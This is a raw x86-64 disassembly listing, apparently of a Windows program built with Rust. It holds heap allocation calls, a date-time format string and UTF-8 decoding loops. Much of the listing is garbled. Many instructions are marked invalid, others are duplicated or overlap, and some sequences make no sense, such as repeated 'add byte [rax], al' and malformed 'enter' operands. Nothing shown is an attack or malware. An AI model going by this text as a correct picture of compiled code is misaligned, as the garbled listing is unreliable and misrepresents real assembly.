lea r14, [rsp + 0x298]
mov ah, 0x24
cwde
add al, byte [rax]
add byte [rcx + rcx*4 - 0x4c], cl
and al, 0xb8
add dword [rax], eax
add byte [rsi - 0x73], al
sbb r15b, dil
rcr byte [rdi], 0x85
jmp 0x140025ed8
mov ah, 0x24
cwde
add al, byte [rax]
add byte [rcx + rcx*4 - 0x4c], cl
and al, 0xb8
add dword [rax], eax
add byte [rsi - 0x73], al
sbb r15b, dil
cmovge eax, ecx
movsxd r9, r9d
imul r11, r9, 0x51eb851f
mov r14, r11
shr r14, 0x3f
shr esi, 0x3f
shr r11, 0x20
sar r11d, 5
add r11d, r14d
imul r9d, r9d, 0x5b5
sar r9d, 2
mov rdx, qword [rsp + 0x1e8]
add eax, edx
sub eax, r11d
add eax, r9d
sar r11d, 2
add eax, r11d
movabs rcx, 0xfffffff1886cb780
add rcx, qword [rsp + 0x138]
add ecx, dword [rsp + 0x138]
add ecx, dword [rsp + 0x138]
cdqe
imul rax, rax, 0x15180
add rcx, rax
mov qword [rsp + 0x228], rcx
add al, byte [rax]
add byte [rcx + 0x69], cl
ret 0x4925
xchg edx, eax
and al, 0x48
shr eax, 0x20
and byte [rcx + 0x29], al
ret 0xd141
invalid
add r10d, eax
mov rcx, rdx
mov rax, qword [rsp + 0x50]
lea ecx, [rax + rdx]
add ecx, 6
imul rax, rcx, 0x24924925
shr rax, 0x20
sub ecx, eax
shr ecx, 1
add ecx, eax
mov qword [rsp + 0x298], 1
movups xmmword [rsp + 0x2a0], xmm6
lea rax, [0x1400b11a0]
mov qword [rsp + 0x1c0], rax
mov qword [rsp + 0x38], 1
movups xmmword [rsp + 0x40], xmm6
movsxd rax, dword [rsp + 0x100]
mov qword [rsp + 0x138], rax
movzx eax, byte [rsp + 0x11c]
mov dword [rsp + 0x17c], eax
movzx eax, byte [rsp + 0x160]
mov dword [rsp + 0x178], eax
movzx eax, byte [rsp + 0x118]
mov dword [rsp + 0x174], eax
movzx eax, dil
mov dword [rsp + 0x170], eax
movzx eax, byte [rsp + 0x158]
mov dword [rsp + 0x18c], eax
movzx eax, bl
mov dword [rsp + 0x188], eax
movzx eax, r8b
mov dword [rsp + 0x184], eax
movzx eax, word [rsp + 0x130]
mov qword [rsp + 0x218], rax
shr r10d, 2
mov qword [rsp + 0x260], r10
shr ecx, 2
mov qword [rsp + 0x220], rcx
movzx eax, byte [rsp + 0x10c]
mov dword [rsp + 0x11c], eax
movzx eax, r15b
mov dword [rsp + 0x118], eax
movzx eax, byte [rsp + 0x114]
mov dword [rsp + 0x148], eax
movzx eax, r13b
mov dword [rsp + 0x114], eax
movzx eax, byte [rsp + 0x110]
mov dword [rsp + 0x110], eax
movzx eax, sil
movzx eax, dh
add al, byte [rax]
add byte [rcx + 0x69], cl
ret 0x4925
and byte [rcx + 0x29], al
ret 0xd141
movzx eax, dh
mov dword [rsp + 0x10c], eax
movzx eax, bpl
mov dword [rsp + 0x180], eax
mov rax, qword [rsp + 0x90]
add byte [rax - 0x77], cl
test byte [rax + rax], ah
add dword [rax], eax
add byte [rax - 0x75], cl
test byte [rax + rbx*4], ah
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + riz*2], ah
add dword [rax], eax
add byte [rax - 0x75], cl
test byte [rax + riz*4], ah
and al, 0xa0
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rbx*2], ah
add dword [rax], eax
add byte [rcx - 0x42], al
adc dword [rax], eax
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rax], ah
add dword [rax], eax
add byte [rax - 0x75], cl
test byte [rax + rbx*4], ah
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + riz*2], ah
add dword [rax], eax
add byte [rax - 0x75], cl
test byte [rax + riz*4], ah
and al, 0xa0
and al, 0xa0
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rbx*2], ah
add dword [rax], eax
add byte [rcx - 0x42], al
adc dword [rax], eax
add byte [rax], al
lea rax, str._d__m__Y__H:_M:_S_::__::___n
or dword [rax], eax
mov qword [rsp + 0x50], rax
xor r13d, r13d
mov qword [rsp + 0x130], rax
jmp 0x140026140
lea rax, [rsp + 0xf8]
mov qword [rsp + 0x60], rax
lea rax, [0x140049e10]
mov qword [rsp + 0x68], rax
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov qword [rsp + 0x90], rax
invalid
mov qword [rsp + 0x98], 1
mov qword [rsp + 0xb0], 0
lea rax, [rsp + 0x60]
mov qword [rsp + 0xa0], rax
add byte [rax - 0x39], cl
test byte [rax + rbp*4], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rbp + rcx*4 - 0x7c], cl
and al, 0x90
add byte [rax], al
add al, ch
or eax, 0x840001c1
ror byte [rdi], 0x85
jne case.0x140026946.38
add byte [rax - 0x39], cl
test byte [rax + rbp*4], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rbp + rcx*4 - 0x7c], cl
and al, 0x90
add byte [rax], al
add al, ch
or eax, 0x840001c1
ror byte [rdi], 0x85
invalid
test esi, ecx
nop dword [rax + rax]
test r13, r13
je 0x140026180
dec r13
mov r8, qword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
lea r15, [r8 + 0x18]
movzx eax, byte [r8]
lea rcx, [0x1400ef330]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov r12, qword [r8 + 8]
mov rsi, qword [r8 + 0x10]
xor edi, edi
jmp 0x14002639a
test r14, r14
mov rcx, qword [rsp + 0x50]
je 0x1400293b5
movzx edx, byte [rcx]
movzx r9d, dl
test r9b, r9b
js 0x14002620b
lea rax, [rcx + r14]
cmp r9d, 0x20
je 0x14002651d
test byte [rbp + 3], dh
add byte [rax], al
test byte [rbp + 3], dh
add byte [rax], al
cmp r9d, 0x25
je 0x140026269
cmp r9d, 0x110000
je 0x1400293b5
lea edx, [r9 - 9]
cmp edx, 5
jb 0x14002651d
cmp r9d, 0x80
jb 0x140026986
mov edx, r9d
shr edx, 8
cmp edx, 0x1f
jg 0x1400264fe
retf 0xeac1
test edx, edx
je 0x140026958
cmp edx, 0x16
jne 0x140026986
cmp r9d, 0x1680
je 0x14002651d
invalid
add eax, dword [rax]
invalid
invalid
jmp 0x140026986
mov eax, r9d
and eax, 0x1f
movzx r8d, byte [rcx + 1]
and r8d, 0x3f
mov dh, 0x41
add dword [rcx - 0x7d], eax
loopne 0x140026259
cmp r9b, 0xdf
jbe 0x1400263ff
movzx r9d, byte [rcx + 2]
shl r8d, 6
and r9d, 0x3f
loope 0x140026270
or r9d, r8d
loope 0x140026270
cmp dl, 0xf0
jb 0x1400264c9
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rdi], cl
mov dh, 0x51
add eax, dword [rbx - 0x1f3ef820]
adc al, byte [rcx - 0x3f]
loope 0x140026251
movzx edx, byte [rcx + 3]
and eax, 7
shl eax, 0x12
shl r9d, 6
and edx, 0x3f
or edx, r9d
invalid
retf 0xc209
or edx, eax
ret 0x8941
mov r9d, edx
lea rax, [rcx + r14]
cmp r9d, 0x20
jne 0x1400261a8
xor dword [rcx - 0x7d], eax
stc
and byte [rdi], cl
test dword [rdi + rdi*8 - 1], eax
invalid
jmp 0x14002651d
cmp r14, 2
jb case.0x140026946.38
xchg esi, eax
xor eax, dword [rax]
invalid
add cl, byte [rdi]
invalid
add byte [rbx + rcx*4 + 0x4c], cl
and al, 0x50
mov r9, qword [rsp + 0x50]
lea rcx, [r9 + 1]
movzx edx, byte [rcx]
cmp dl, 0xbf
jle 0x14002969c
mov ss, word [rsp + rsi]
add byte [rax], al
mov ss, word [rsp + rsi]
adc al, 0x34
add byte [rax], al
movzx r10d, dl
test dl, dl
js 0x14002641b
add byte [rcx - 0x48], al
add dword [rax], eax
add byte [rax], al
mov r8d, 1
jmp 0x1400267aa
mov rbx, qword [r8 + 8]
mov rsi, qword [r8 + 0x10]
mov esi, dword [rax + 0x10]
test rsi, rsi
je 0x140026471
test cl, al
add dword [rax], eax
invalid
test cl, al
add dword [rax], eax
add byte [rdi], cl
mov bh, bl
fbstp tbyte [rbx]
add byte [rax], al
movzx eax, byte [0x1400f92c0]
invalid
invalid
invalid
js 0x140029695
fbstp tbyte [rbx]
add byte [rax], al
movzx eax, byte [0x1400f92c0]
add eax, 0xd3003
mov rax, qword [0x1400f91f8]
test rax, rax
xor al, 0x2f
or eax, 0xc0854800
jne 0x1400262df
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x140029686
scasb al, byte [rdi]
xor eax, dword [rax]
invalid
and dword [rcx - 0x7ab7fff8], esp
ror byte [rdi], 0x84
scasb al, byte [rdi]
xor eax, dword [rax]
add byte [rax - 0x77], cl
add eax, 0xd2f19
mov qword [0x1400f91f8], rax
mov rcx, rax
xor edx, edx
ror byte [rcx - 0x77], cl
invalid
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapAlloc]
mov r12, rax
test rax, rax
jne 0x140026477
jmp 0x140029686
xor eax, dword [rax]
add byte [rcx + 0xf], al
movzx esi, byte [r8 + 2]
mov edx, 2
movzx esi, byte [r8 + 2]
mov edx, 2
movzx eax, byte [r8 + 1]
lea rcx, [0x1400ef510]
movsxd r8, dword [rcx + rax*4]
add r8, rcx
mov rdi, r15
mov edi, edi
mov rax, qword [rsp + 0x138]
mov eax, dword [rsp + 0x138]
mov ecx, dword [rsp + 0xcc]
jmp r8
and al, 0xcc
add byte [rax], al
add byte [rcx - 1], al
jmp r8
invalid
mov rbx, qword [r8 + 8]
mov ebx, dword [rax + 8]
mov rsi, qword [r8 + 0x10]
test rsi, rsi
je 0x14002648a
adc byte [rax - 0x7b], cl
test byte [rdi], 0x84
add qword [r8], rax
add byte [rdi], cl
mov byte [rsi + 0x33], cl
xor r8, qword [rax]
invalid
js 0x140029695
xor r8, qword [rax]
xor eax, dword [rax]
add byte [rdi], cl
mov dh, 5
jb 0x14002637b
movzx eax, byte [0x1400f92c0]
mov rax, qword [0x1400f91f8]
test rax, rax
jne 0x140026370
call qword [sym.imp.kernel32.dll_GetProcessHeap]
adc eax, 0x8a090
test rax, rax
je 0x140029686
invalid
add byte [rax - 0x77], cl
add eax, 0xd2e88
mov qword [0x1400f91f8], rax
mov rcx, rax
xor edx, edx
mov r8, rsi
invalid
call qword [sym.imp.kernel32.dll_HeapAlloc]
jp 0x14002631c
or byte [rax], al
mov r12, rax
test rax, rax
jne 0x140026490
jmp 0x140029686
div dword [rdx]
add byte [rax], al
mov r12, qword [r8 + 8]
mov rsi, qword [r8 + 0x10]
mov dil, 2
mov bh, 2
mov bh, 2
mov qword [rsp + 0x30], r15
mov r15, r14
jmp 0x1400266d1
movzx r8d, byte [r8 + 1]
lea eax, [r8 - 4]
movzx eax, al
cmp al, 0x13
adc edi, dword [rcx + 0x13]
adc edi, dword [rcx + 0x13]
cmovb ecx, eax
movzx ecx, cl
lea rdx, [0x1400ef34c]
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
jmp rcx
mov r8b, 4
mov dil, 5
lea eax, [r8 - 4]
movzx eax, al
cmp al, 0x13
mov ecx, 0x13
cmovae eax, ecx
movzx ecx, al
lea rdx, [0x1400ef560]
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
mov qword [rsp + 0x30], r15
jmp rcx
shl eax, 6
or eax, r8d
mov r9d, eax
lea rax, [rcx + r14]
cmp r9d, 0x20
jne 0x1400261a8
jmp 0x14002651d
and r10d, 0x1f
movzx r8d, byte [r9 + 2]
and r8d, 0x3f
cmp dl, 0xdf
jbe 0x1400264df
movzx eax, byte [r9 + 3]
shl r8d, 6
and eax, 0x3f
or eax, r8d
cmp dl, 0xf0
jb 0x140026771
movzx edx, byte [r9 + 4]
and r10d, 7
shl r10d, 0x12
shl eax, 6
and edx, 0x3f
or edx, eax
or edx, r10d
rol byte [rcx - 0x77], cl
rol byte [rcx + 0x110000fa], cl
add byte [rbp + 0x7a], dh
rol byte [rcx - 0x77], cl
rol byte [rcx + 0x110000fa], cl
add byte [rbp + 0x7a], dh
jmp case.0x140026946.38
mov r12d, 1
mov rcx, r12
mov rdx, rbx
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
mov dil, 1
jmp 0x1400264a1
mov r12d, 1
mov rcx, r12
mov rdx, rbx
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
mov dil, 3
mov rax, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x48]
sub rax, rbx
cmp rax, rsi
jb 0x140026757
mov rcx, qword [rsp + 0x38]
add rcx, rbx
mov qword [rsp + 0x30], r15
jmp 0x1400266ee
shl eax, 0xc
or r9d, eax
lea rax, [rcx + r14]
cmp r9d, 0x20
jne 0x1400261a8
jmp 0x14002651d
shl r10d, 6
or r10d, r8d
mov r8d, 1
cmp r10d, 0x80
jae 0x14002678a
jmp 0x1400267aa
cmp edx, 0x20
je 0x140026970
cmp edx, 0x30
jne 0x140026986
cmp r9d, 0x3000
jne 0x140026986
xor esi, esi
mov rdx, rcx
jmp 0x14002654f
lea rdx, [rdi + 2]
shl r9d, 6
or r9d, r11d
mov r8d, r9d
lea r9d, [r8 - 9]
cmp r9d, 5
jae 0x14002656c
nop dword [rax]
sub rsi, rdi
add rsi, rdx
cmp rdx, rax
je 0x14002669a
mov rdi, rdx
movzx edx, byte [rdx]
movzx r8d, dl
test r8b, r8b
js 0x1400265c0
lea rdx, [rdi + 1]
lea r9d, [r8 - 9]
cmp r9d, 5
jb 0x140026540
cmp r8d, 0x20
je 0x140026540
cmp r8d, 0x80
jb 0x14002669d
mov r9d, r8d
shr r9d, 8
cmp r9d, 0x1f
jg 0x14002664f
test r9d, r9d
je 0x14002666a
cmp r9d, 0x16
jne 0x14002669d
cmp r8d, 0x1680
je 0x140026540
jmp 0x14002669d
mov r9d, r8d
and r9d, 0x1f
movzx r11d, byte [rdi + 1]
and r11d, 0x3f
cmp r8b, 0xdf
jbe 0x140026524
movzx r10d, byte [rdi + 2]
shl r11d, 6
and r10d, 0x3f
or r10d, r11d
cmp dl, 0xf0
jb 0x14002662e
movzx r8d, byte [rdi + 3]
and r9d, 7
shl r9d, 0x12
shl r10d, 6
and r8d, 0x3f
or r8d, r10d
or r8d, r9d
cmp r8d, 0x110000
je 0x14002669a
lea rdx, [rdi + 4]
lea r9d, [r8 - 9]
cmp r9d, 5
jb 0x140026540
jmp 0x14002656c
lea rdx, [rdi + 3]
shl r9d, 0xc
or r10d, r9d
mov r8d, r10d
lea r9d, [r8 - 9]
cmp r9d, 5
jb 0x140026540
jmp 0x14002656c
cmp r9d, 0x20
je 0x140026682
cmp r9d, 0x30
jne 0x14002669d
cmp r8d, 0x3000
je 0x140026540
jmp 0x14002669d
movzx r8d, r8b
lea r9, [0x1400eb47f]
test byte [r8 + r9], 1
jne 0x140026540
jmp 0x14002669d
movzx r8d, r8b
lea r9, [0x1400eb47f]
test byte [r8 + r9], 2
jne 0x140026540
jmp 0x14002669d
mov rsi, r14
test rsi, rsi
je 0x140029650
mov r15, r14
sub r15, rsi
sub edi, esi
sub edi, esi
jbe 0x1400266b9
cmp byte [rcx + rsi], 0xbf
jg 0x1400266bf
jmp 0x14002966a
jne 0x14002966a
mov r12, rcx
lea rax, [rcx + rsi]
mov dil, 2
xor r13d, r13d
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x48]
and al, 0x48
and al, 0x48
sub rax, rbx
cmp rax, rsi
jb 0x140026740
mov rcx, qword [rsp + 0x38]
add rcx, rbx
mov r14, r15
mov rdx, r12
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
add rbx, rsi
mov qword [rsp + 0x48], rbx
mov r15d, ebp
cmp dil, 3
je 0x14002671a
movzx eax, dil
mov ebp, r15d
cmp eax, 1
jne 0x140026140
mov ebp, r15d
test rsi, rsi
je 0x140026140
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
or byte [rax], al
or byte [rax], al
mov ebp, r15d
jmp 0x140026140
lea rcx, [rsp + 0x38]
mov rdx, rbx
mov r8, rsi
call fcn.1400ab0a0
mov rbx, qword [rsp + 0x48]
jmp 0x1400266e3
lea rcx, [rsp + 0x38]
mov rdx, rbx
mov r8, rsi
call fcn.1400ab0a0
or byte [rax], al
or byte [rax], al
mov rbx, qword [rsp + 0x48]
jmp 0x1400264b7
shl r10d, 0xc
or eax, r10d
mov r10d, eax
mov r8d, 1
cmp r10d, 0x80
jb 0x1400267aa
mov r8d, 2
cmp r10d, 0x800
or byte [rax], al
add byte [rdx + 0x11], dh
or byte [rax], al
add byte [rdx + 0x11], dh
cmp r10d, 0x10000
mov r8d, 4
sbb r8, 0
dec r14
mov rdx, r14
sub rdx, r8
jbe 0x1400267c1
cmp byte [rcx + r8], 0xbf
jg 0x1400267c7
jmp 0x1400296be
jne 0x1400296be
imul dword [rsi]
add byte [rax], al
add rcx, r8
mov r11b, 1
mov r9b, 3
xor eax, eax
cmp r10d, 0x2f
jg 0x1400267eb
cmp r10d, 0x23
je 0x14002680c
mov esi, 0
cmp r10d, 0x2d
je 0x14002681b
add byte [rax], al
add byte [rcx - 0x7d], al
cli
sub eax, 0x16eb3274
jmp 0x140026801
cmp r10d, 0x5f
je 0x140026816
cmp r10d, 0x30
cmp edx, 0x30
jne 0x140026801
mov sil, 1
xor eax, eax
mov r11b, 1
jmp 0x14002681b
mov rdi, rcx
mov r15, rdx
jmp 0x140026925
mov sil, 3
mov al, 1
xor r11d, r11d
jmp 0x14002681b
mov sil, 2
xor eax, eax
add dh, byte [rcx]
ror byte [rbp + 0x39], 0xc6
cmp r14, r8
je case.0x140026946.38
sub eax, 0xb60f0000
sbb dword [rdi + rcx - 0x4a], eax
rol dword [rbp - 0x7c], cl
sar byte [rax + 0xb], cl
movzx ebx, byte [rcx]
movzx r10d, bl
test r10b, r10b
js 0x14002683b
mov r8d, 1
jmp 0x1400268e0
mov r8d, r10d
and r8d, 0x1f
movzx edi, byte [rcx + 1]
and edi, 0x3f
cmp r10b, 0xdf
jbe 0x14002688c
movzx r9d, byte [rcx + 2]
movzx ecx, byte [rcx + 2]
shl edi, 6
and r9d, 0x3f
or r9d, edi
cmp bl, 0xf0
jb 0x1400268a7
movzx r10d, byte [rcx + 3]
and r8d, 7
shl r8d, 0x12
shl r9d, 6
and r10d, 0x3f
or r10d, r9d
or r10d, r8d
cmp r10d, 0x110000
cmp edx, 0x110000
cmp edx, 0x110000
jne 0x140026896
jmp case.0x140026946.38
shl r8d, 6
or r8d, edi
mov r10d, r8d
mov r8d, 1
cmp r10d, 0x80
jae case.0x14006b385.95
jmp 0x1400268e0
shl r8d, 0xc
or r9d, r8d
or ecx, eax
mov r10d, r9d
mov r8d, 1
cmp r10d, 0x80
jb 0x1400268e0
mov r8d, 2
cmp r10d, 0x800
jb 0x1400268e0
cmp r10d, 0x10000
mov r8d, 4
sbb r8, 0
sbb eax, 0
mov r15, rdx
sub r15, r8
jbe 0x1400268f4
cmp byte [rcx + r8], 0xbf
jg 0x1400268fa
jmp 0x1400296d7
jne 0x1400296d7
add byte [rax], al
add rcx, r8
test al, al
je 0x14002691c
cmp r10d, 0x7a
setne al
or al, r11b
jne case.0x140026946.38
test eax, edi
sub al, 0
invalid
test eax, edi
sub al, 0
add byte [rbp + 0x31], al
in eax, dx
xor r13d, r13d
xor r8d, r8d
jmp 0x140027372
mov rdi, rcx
mov eax, r11d
mov r9d, esi
add r10d, 0xffffffdb
cmp r10d, 0x55
ja case.0x140026946.38
lea rdx, [0x1400ef39c]
movsxd rcx, dword [rdx + r10*4]
invalid
or al, 0x92
add rcx, rdx
mov qword [rsp + 0x50], rdi
jmp rcx
invalid
test al, al
jne case.0x140026946.38
mov r8b, 4
jmp 0x14002736a
movzx r8d, r9b
lea rdx, [0x1400eb47f]
test byte [r8 + rdx], 1
jne 0x14002651d
scasd eax, dword [rdi]
sti
invalid
invalid
scasd eax, dword [rdi]
sti
invalid
jmp 0x140026986
movzx r8d, r9b
lea rdx, [0x1400eb47f]
test byte [r8 + rdx], 2
jne 0x14002651d
xor esi, esi
mov rdx, rcx
movabs rdi, 0x100003e00
jmp 0x1400269b9
invalid
cmp r8d, 0x25
je 0x140026b12
sub rsi, rbx
add rsi, rdx
cmp rdx, rax
je 0x140026b0f
mov rbx, rdx
movzx edx, byte [rdx]
movzx r8d, dl
test r8b, r8b
js 0x1400269e0
lea rdx, [rbx + 1]
cmp r8d, 0x20
jbe 0x140026a70
jmp 0x140026a7d
add byte [rax], r8b
mov r9d, r8d
and r9d, 0x1f
movzx r11d, byte [rbx + 1]
and r11d, 0x3f
and ebx, 0x3f
and ebx, 0x3f
cmp r8b, 0xdf
jbe 0x140026a3f
movzx r10d, byte [rbx + 2]
movzx edx, byte [rbx + 2]
shl r11d, 6
and r10d, 0x3f
loop 0x140026a42
loop 0x140026a42
or r10d, r11d
cmp dl, 0xf0
jb 0x140026a55
movzx r8d, byte [rbx + 3]
and r9d, 7
shl r9d, 0x12
shl ecx, 0x12
shl ecx, 0x12
shl r10d, 6
and r8d, 0x3f
or r8d, r10d
or r8d, r9d
cmp r8d, 0x110000
add byte [rcx], dl
add byte [rdi], cl
test ah, bl
add byte [rax], al
invalid
add byte [rcx], dl
add byte [rdi], cl
test ah, bl
add byte [rax], al
add byte [rax - 0x73], cl
lea rdx, [rbx + 4]
cmp r8d, 0x20
lea rdx, [rbx + 4]
cmp r8d, 0x20
jbe 0x140026a70
jmp 0x140026a7d
lea rdx, [rbx + 2]
add al, byte [rcx - 0x3f]
loope 0x140026a4d
invalid
shl r9d, 6
invalid
or r9d, r11d
mov r8d, r9d
cmp r8d, 0x20
jbe 0x140026a70
jmp 0x140026a7d
lea rdx, [rbx + 3]
shl r9d, 0xc
or r10d, r9d
mov r8d, r10d
rol byte [rcx - 0x7d], 1
clc
and byte [rdi + 0x14], dh
rol byte [rcx - 0x7d], 1
clc
and byte [rdi + 0x14], dh
nop dword [rax]
add byte [rax], al
add byte [rbp - 0x77], al
ror dword [rdi + rcx - 0x5d], 0xcf
invalid
iretd
mov r9d, r8d
bt rdi, r9
invalid
iretd
movabs dword [0x4100000095820fcf], eax
cmp eax, 0x80
jb 0x140026b12
add byte [rax], al
add byte [rcx - 0x7f], al
clc
add byte [rax], 0
add byte [rdi], cl
invalid
cmp r8d, 0x80
jb 0x1400269a0
invalid
mov r9d, r8d
shr r9d, 8
cmp r9d, 0x1f
jg case.0x14001be02.57
invalid
sub dword [rbp - 0x7b], eax
leave
test r9d, r9d
je 0x140026adf
cmp r9d, 0x16
jne 0x1400269aa
invalid
invalid
invalid
cmp r8d, 0x1680
jne 0x1400269aa
adc byte [rsi], 0
add byte [rdi], cl
test edi, esi
invalid
jmp 0x140026b12
nop word cs:[rax + rax]
add byte [rcx - 0x7d], al
stc
and byte [rcx + rsi + 0x41], dh
cmp ecx, 0x30
cmp r9d, 0x20
je 0x140026af7
cmp r9d, 0x30
xor byte [rdi], cl
test edx, ebx
invalid
jne 0x1400269aa
cmp r8d, 0x3000
clc
add byte [rax], dh
add byte [rax], al
jne 0x1400269aa
test ebp, ecx
invalid
jmp 0x140026b12
movzx r8d, r8b
lea r9, [0x1400eb47f]
or eax, 0xc4995
or eax, 0xc4995
or al, 0
test byte [r8 + r9], 1
je 0x1400269aa
add dword [rdi], ecx
test byte [rbp - 0x14000002], dh
sbb eax, dword [rbp + 0xf]
mov dh, 0xc0
jmp 0x140026b12
movzx r8d, r8b
movzx eax, al
lea r9, [0x1400eb47f]
test byte [r8 + r9], 2
add cl, byte [rdi]
invalid
popfq
invalid
invalid
invalid
add byte [rbx - 0xa], al
add al, 8
add cl, byte [rdi]
test byte [rbp - 0x14000002], bl
popfq
invalid
invalid
invalid
jmp 0x140026b12
mov rsi, r14
popfq
invalid
jmp 0x140026b12
mov rsi, r14
test rsi, rsi
je 0x1400296ed
test dl, dl
sub eax, dword [rax]
invalid
test byte [rdi], 0x84
shr byte [rbx], cl
add byte [rax], al
test dl, dl
sub eax, dword [rax]
add byte [rbp - 0x77], cl
mov r15, r14
sub r15, rsi
jbe 0x140026b2e
test dword [rcx + 0x29], 0x800b76f7
cmp al, 0x31
invalid
mov edi, 0xd9e90b7f
sub eax, dword [rax]
add byte [rdi], cl
test ebx, edx
shr dword [rbx], cl
add byte [rax], al
invalid
invalid
shr dword [rbx], cl
add byte [rax], al
mov r12, rcx
mov esp, ecx
mov esp, ecx
int3
lea rax, [rcx + rsi]
lea eax, [rcx + rsi]
add al, 0x31
xor edi, edi
jmp 0x1400266c9
mov r8b, 0x12
mov al, 0x12
mov dil, 5
lea eax, [r8 - 4]
add eax, 0xfc408d41
movzx eax, al
cmp al, 0x13
mov ecx, 0x13
add byte [rax], al
add byte [rdi], cl
ror dword [r15], 0xb6
enter 0xffffffffffff8d48, 0x15
std
mov dword [rax + rax], ecx
add byte [rdi], cl
ror dword [r15], 0xb6
enter 0xffffffffffff8d48, 0x15
std
mov dword [rax + rax], ecx
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
add ecx, edx
invalid
mov cl, byte [rax + 1]
ror dword [rcx + rcx*4 + 0x7c], 1
and al, 0x30
add ecx, edx
mov qword [rsp + 0x30], r15
jmp rcx
mov r8b, 0x14
mov al, 0x14
mov dil, 5
lea eax, [r8 - 4]
add eax, 0xfc408d41
movzx eax, al
cmp al, 0x13
mov ecx, 0x13
add byte [rax], al
invalid
add byte [rdi], cl
ror dword [r15], 0xb6
enter 0xffffffffffff8d48, 0x15
cmovae eax, ecx
movzx ecx, al
lea rdx, [0x1400ef560]
invalid
mov dword [rax + rax], ecx
movsxd rcx, dword [rdx + rcx*4]
invalid
or al, 0x8a
invalid
invalid
invalid
mov cl, byte [rax + 1]
ror dword [rcx + rcx*4 + 0x7c], 1
and al, 0x30
add rcx, rdx
mov qword [rsp + 0x30], r15
jmp rcx
mov dil, 5
mov bh, 5
lea eax, [rdi - 4]
movzx eax, al
cmp al, 0x13
adc edi, dword [rcx + 0x13]
adc edi, dword [rcx + 0x13]
cmovae eax, ecx
ror dword [rdi], 0xb6
enter 0xffffffffffff8d48, 0x15
movabs dword [0x488a0c6348000c89], eax
movsxd rcx, dword [rdx + rcx*4]
invalid
movzx ecx, al
lea rdx, [0x1400ef560]
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
add ecx, edx
add ecx, edx
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x30], edi
xor byte [rcx - 0x50], al
add eax, 0xb041e1ff
jmp rcx
invalid
invalid
mov r8b, 5
jmp rcx
mov r8b, 6
mov al, 6
invalid
mov dil, 5
lea eax, [r8 - 4]
movzx eax, al
mov dh, 0xc0
mov dh, 0xc0
sar byte [rbx + rdx], 0xb9
adc eax, dword [rax]
add byte [rax], al
invalid
cmp al, 0x13
mov ecx, 0x13
add byte [rax], al
invalid
add byte [rdi], cl
ror dword [r15], 0xb6
enter 0xffffffffffff8d48, 0x15
jno 0x140026b76
invalid
cmovae eax, ecx
movzx ecx, al
lea rdx, [0x1400ef560]
mov dword [rax + rax], ecx
mov dword [rax + rax], ecx
or al, 0
movsxd rcx, dword [rdx + rcx*4]
or al, 0x8a
add rcx, rdx
add ecx, edx
mov qword [rsp + 0x30], r15
jmp rcx
mov r8b, 7
mov al, 7
invalid
mov dil, 5
lea eax, [r8 - 4]
movzx eax, al
mov dh, 0xc0
mov dh, 0xc0
cmp al, 0x13
mov ecx, 0x13
add byte [rax], al
invalid
add byte [rax], al
add byte [rdi], cl
ror dword [r15], 0xb6
enter 0xffffffffffff8d48, 0x15
mov dword [rax + r8], ecx
mov dword [rax + rax], ecx
cmovae eax, ecx
movzx ecx, al
lea rdx, [0x1400ef560]
mov dword [rax + rax], ecx
mov dword [rax + rax], ecx
movsxd rcx, dword [rdx + rcx*4]
or al, 0x8a
add rcx, rdx
add ecx, edx
mov qword [rsp + 0x30], r15
jmp rcx
mov r8b, 8
mov al, 8
or byte [rax - 0x49], al
add eax, 0xfc408d41
mov dil, 5
lea eax, [r8 - 4]
movzx eax, al
mov dh, 0xc0
cmp al, 0x13
mov ecx, 0x13
add byte [rax], al
invalid
add byte [rdi], cl
ror dword [r15], 0xb6
ror dword [rdi], 0xb6
cmovae eax, ecx
movzx ecx, al
lea rdx, [0x1400ef560]
mov dword [rax + rax], ecx
ror dword [rdi], 0xb6
enter 0xffffffffffff8d48, 0x15
adc ecx, dword [rcx + 0x6348000c]
mov dword [rax + rax], ecx
invalid
invalid
mov dword [rax + rax], ecx
movsxd rcx, dword [rdx + rcx*4]
or al, 0x8a
add rcx, rdx
add ecx, edx
mov qword [rsp + 0x30], r15
jmp rcx
mov r8b, 9
mov al, 9
or dword [rax - 0x49], eax
add eax, 0xfc408d41
lea eax, [r8 - 4]
mov dil, 5
lea eax, [r8 - 4]
movzx eax, al
mov dh, 0xc0
cmp al, 0x13
mov ecx, 0x13
add byte [rax], al
invalid
add byte [rdi], cl
ror dword [r15], 0xb6
enter 0xffffffffffff8d48, 0x15
lea edx, [0x1400ef560]
cmovae eax, ecx
movzx ecx, al
lea rdx, [0x1400ef560]
lea edx, [0x1400ef560]
lea edx, [0x1400ef560]
mov byte [rax + rax], cl
movsxd rcx, dword [rdx + rcx*4]
or al, 0x8a
add rcx, rdx
add ecx, edx
mov qword [rsp + 0x30], r15
jmp rcx
mov r8b, 0xa
mov al, 0xa
or al, byte [rax - 0x49]
add eax, 0xfc408d41
mov dil, 5
lea eax, [r8 - 4]
movzx eax, al
mov dh, 0xc0
cmp al, 0x13
mov ecx, 0x13
add byte [rax], al
invalid
